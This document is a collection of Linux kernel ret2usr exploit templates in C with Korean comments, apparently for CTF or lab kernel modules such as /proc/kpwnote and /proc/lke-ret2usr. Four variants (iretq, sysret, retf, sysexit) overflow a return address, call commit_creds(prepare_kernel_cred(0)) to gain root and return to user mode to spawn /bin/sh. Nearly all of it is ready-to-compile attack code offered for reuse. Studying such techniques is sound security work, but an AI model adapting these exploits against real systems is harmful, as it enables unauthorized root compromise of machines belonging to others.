ret2usr template

iretq ( 검증 완료 → 1 순위 )

C
// gcc -static -no-pie -fno-stack-protector -O2 -o ex ex.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

int (*commit_creds)(void *) ;
void *(*prepare_kernel_cred)(void *) ;
uint64_t dummy_stack[512] __attribute__((aligned(16)));

void shell(void) {
	system("/bin/sh");
}
   
void ret2usr() {
	static struct trap_frame {
		void *rip;
		uint64_t cs;             
		uint64_t rflags;
		void *rsp;
		uint64_t ss;            
	} tf = {
		.rip = &shell,         
		.cs = 0x33,           
		.rflags = 0x202,     
		.rsp = dummy_stack + 512,  
		.ss = 0x2b                
	};
	volatile register uint64_t RSP asm("rsp"); 
	commit_creds(prepare_kernel_cred(0));     
	RSP = (uint64_t)&tf;                     
	asm volatile(
		"cli\n\t"   
		"swapgs\n\t"
		"iretq"     
		:: "r" (RSP)  
	);
}

int main(void)
{
	size_t buf[0x100/8], kernel_base;

	int fd = open("/proc/kpwnote", O_RDWR);

	lseek(fd, 0x2000, SEEK_SET);
	write(fd, buf, 0x10);
	lseek(fd, 0x400, SEEK_SET);
	read(fd, buf, 0x100);

	kernel_base = buf[7] - 0xcabad8;
	commit_creds = (void *)(kernel_base + 0x634e0);
	prepare_kernel_cred = (void *)(kernel_base + 0x63370);

	lseek(fd, 0x488, SEEK_SET);
	buf[0] = (size_t) &ret2usr;
	write(fd, buf, sizeof(buf));
	main();
}

sysret

C
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
	(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
	(void *) 0xffffffff8108157b;
/*
 * ret2usr 이후 스택으로 사용될 버퍼입니다.
 * __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
 */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void)
{
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	R11 = 0x202;                           /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
	RCX = (uint64_t)shell;                 /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
	RSP = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"sysretq"     /* SYSRET 명령을 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (R11), "r" (RCX), "r" (RSP)
	);
}
int main(void)
{
	int fd;
	char payload[0x118];
	/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
	fd = open("/proc/lke-ret2usr", O_WRONLY);
	if (fd < 0) { perror("open"); return EXIT_FAILURE; }
	memset(payload, 'A', 0x110);
	/* 리턴주소를 ret2usr 함수로 덮습니다. */
	*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
	/* 익스플로잇을 실제로 수행합니다. */
	write(fd, payload, sizeof(payload));
	/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
	abort();
}

retf

C
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
	(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
	(void *) 0xffffffff8108157b;
/*
 * ret2usr 이후 스택으로 사용될 버퍼입니다.
 * __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
 */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void)
{
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
	static struct far_return_to_outer_ring_frame {
		void *rip;
		uint64_t cs;               /* 실제로는 하위 16비트만 사용됨 */
		void *rsp;
		uint64_t ss;               /* 실제로는 하위 16비트만 사용됨 */
	} frf = {
		.rip = &shell,             /* RETF에서 리턴할 함수 주소 */
		.cs = 0x33,                /* RETF 이후 CS 레지스터 값 */
		.rsp = dummy_stack + 512,  /* RETF 이후 스택 포인터 */
		.ss = 0x2b                 /* RETF 이후 SS 레지스터 값 */
	};
	volatile register uint64_t RSP asm("rsp");  /* RSP 레지스터를 변수로 씁니다. */
	commit_creds(prepare_kernel_cred(0));       /* 권한을 상승시킵니다. */
	RSP = (uint64_t)&frf;                       /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"retfq"       /* RETF 명령을 실행합니다. */
		:: "r" (RSP)  /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
	);
}
int main(void)
{
	int fd;
	char payload[0x118];
	/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
	fd = open("/proc/lke-ret2usr", O_WRONLY);
	if (fd < 0) { perror("open"); return EXIT_FAILURE; }
	memset(payload, 'A', 0x110);
	/* 리턴주소를 ret2usr 함수로 덮습니다. */
	*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
	/* 익스플로잇을 실제로 수행합니다. */
	write(fd, payload, sizeof(payload));
	/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
	abort();
}

sysexit

C
// gcc -o exploit exploit.c -masm=intel
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
	(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
	(void *) 0xffffffff8108157b;
/*
 * ret2usr 이후 스택으로 사용될 버퍼입니다.
 * __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
 */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void)
{
	system("/bin/sh");
	_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다.
 * __attribute__((naked))는 push rbp; mov rbp, rsp와 같은 프롤로그를 없애기 위해 필요합니다.
 */
__attribute__((naked)) void shell_thunk(void)
{
	asm volatile(
		/* SS 레지스터를 복구합니다. */
		"mov ax, 0x2b\n\t"
		"mov ss, ax\n\t"
		/* shell 함수로 이동합니다. */
		"jmp shell"
	);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	RCX = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	RDX = (uint64_t)shell_thunk;           /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
	asm volatile(
		"cli\n\t"        /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"     /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"rex.W sysexit"  /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (RCX), "r" (RDX)
	);
}
int main(void)
{
	int fd;
	char payload[0x118];
	/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
	fd = open("/proc/lke-ret2usr", O_WRONLY);
	if (fd < 0) { perror("open"); return EXIT_FAILURE; }
	memset(payload, 'A', 0x110);
	/* 리턴주소를 ret2usr 함수로 덮습니다. */
	*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
	/* 익스플로잇을 실제로 수행합니다. */
	write(fd, payload, sizeof(payload));
	/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
	abort();
}